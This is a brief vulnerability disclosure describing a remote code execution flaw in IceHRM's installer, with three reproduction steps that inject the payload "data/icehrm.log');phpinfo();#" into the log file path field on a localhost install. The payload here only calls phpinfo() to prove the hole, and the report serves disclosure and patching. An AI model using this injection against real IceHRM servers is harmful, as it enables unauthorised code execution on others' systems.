A Remote Code Execution (RCE) vulnerability exists in icehrm via "/app/install/".

Step to exploit:

1. Navigate to IceHRM Installation: http://localhost/icehrm/app/install.
2. Insert payload "data/icehrm.log');phpinfo();#" to Log file path and then Install Application.
3. Visit http://localhost/icehrm/app